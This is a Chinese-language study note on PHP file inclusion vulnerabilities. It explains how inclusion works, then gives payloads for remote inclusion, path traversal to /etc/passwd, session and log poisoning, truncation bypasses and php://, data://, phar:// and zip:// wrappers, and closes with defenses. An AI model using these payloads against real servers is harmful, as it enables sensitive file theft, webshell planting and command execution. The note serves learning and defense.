文件包含漏洞
原理
服务端提供了从另一个页面加载另一个页面的功能,且该功能的接口是用户可控的,由于程序未对用户的输入做严格的过滤,或者过滤不够严谨,就可能导致文件包含的漏洞。文件包含的函数又include\include_once_once,include在包含一个文件时如果出错只会抛出警告,程序还是会继续执行,require则会直接结束,还有可能是file_get_contengs。这写函数将直接读取文件内容,并将文件内容原样输出到要包含文件的文件中,因为该文件拥有合乎规则的执行权限,所以,被包含文件中的恶意代码将被执行。我们利用文件包含漏洞上传的图片马往往就利用文件包含的这个特性得以执行。
需要开启allow_url_include 和 allow_url_fopen
允许文件包含和允许读取文件
远程文件包含
可以使用http协议从远程包含我们的恶意代码到目标文件
?file=http://www.baidu.com/hack.php
任意文件后缀都可以
本地文件包含
配合目录穿越漏洞,获取服务器本地文件系统的敏感文件、执行php代码
目录穿越: ../../../../../../../etc/passwd
session文件包含
利用php默认的session存储路径及来实现恶意代码执行
linux session文件在目录/var/lib/php/session
中,可以通过phpinfo搜索session_save_path
查看,session文件的命名规则是sess_phpsessionid
session我们可以通过抓包获取。如果用户上传的参数被写入到session中,我们就可以利用文件包含漏洞执行恶意代码,前提是当前php中间件具有对session文件及其父目录的读权限。
sshlog文件包含
利用ssh的日志信息,通过ssh登录时将恶意代码写入到用户名部分,再利用远程文件包含漏洞执行该文件。
ssh默认日志路径:/var/log/auth.log
ssh登录姿势:ssh @192.168.0.102
日志文件中记录
%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%2087f37670f63149bd81c49c12a755ab8e/Untitled.png
apache2访问日志,错误日志
日志文件路径:/var/log/apache2/access.log|error.log
利用方式:直接访问不存在的路径:http://www.armandhe.com/<?php phpinfo();?>
因为url中的数据会被编码,所以在访问的时候需要抓包后,修改上传参数为为编码的格式。
那么mysql的访问日志是不是也可以做同样的操作
上述访问日志的方式有一个前提条件就是php要有读这些目录以及文件的权限
绕过姿势
本地文件包含有限制的染过
%00截断
路劲长度截断
一个特性:linux中目录最长不超过4096字节,超出的部分将被丢弃,windows中目录最长不超过256字节,超过的将被丢弃
通过…………………………………………或者../../../../../截断
远程文件包含绕过
?# space空格
php伪协议
php://filter ———-读取本地文件 只需开启allow_url_fopen
?file=php://filter/convert.base64-encode/resource=file://c:/windows/win.ini
有些文件中包含一些特殊字符,直接用file协议可能无法读取成功,所以先进行base编码之后再来传输。
php://input—————读取post数据 需同时开启两个配置项
当代码中处理用户上传数据使用的是file_get_contents的时候就可以使用该协议
该函数获取原始post请求的方式是file_get_contents("php://input")
那么我们就可以将php://input
作为参数传上去,而具体的post内容通过抓包更改请求头类型,添加请求体来实现。
%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%2087f37670f63149bd81c49c12a755ab8e/Untitled%201.png
可以直接在当前目录中写入木马,然后用蚁剑链接
%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%2087f37670f63149bd81c49c12a755ab8e/Untitled%202.png
或者直接执行操作系统命令
%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%2087f37670f63149bd81c49c12a755ab8e/Untitled%203.png
file:// —————读取本地文件
?file=file:///etc/passwd
data://————读取本地文件 配合file_get_contents使用
?file=data://text/plain;base64,cGhwaW5mbygpOw==
phar://————解压缩 有效
?file=phar://hack.png/hack.php
hack实际上是一个压缩文件,只不过后缀名在压缩完成后被手动修改伪png来绕过过滤策略,且压缩的格式必须为zip。可以配合文件上传漏洞使用
zip://————-解压缩 有效
?file=zip://hack.png#hack.php
hack文件是在hack.zip中真实存在的,hack是压缩文件压缩后修改的后缀名为png。功能和phar一样
测试代码fang
防御
关闭allow_url_include
将open_basedir 设置为指定目录,即只允许该目录文件被访问。
设置白名单
设置黑名单,过滤危险协议关键字,
危害
- 敏感文件泄露
- 被getshell
- 任意命令执行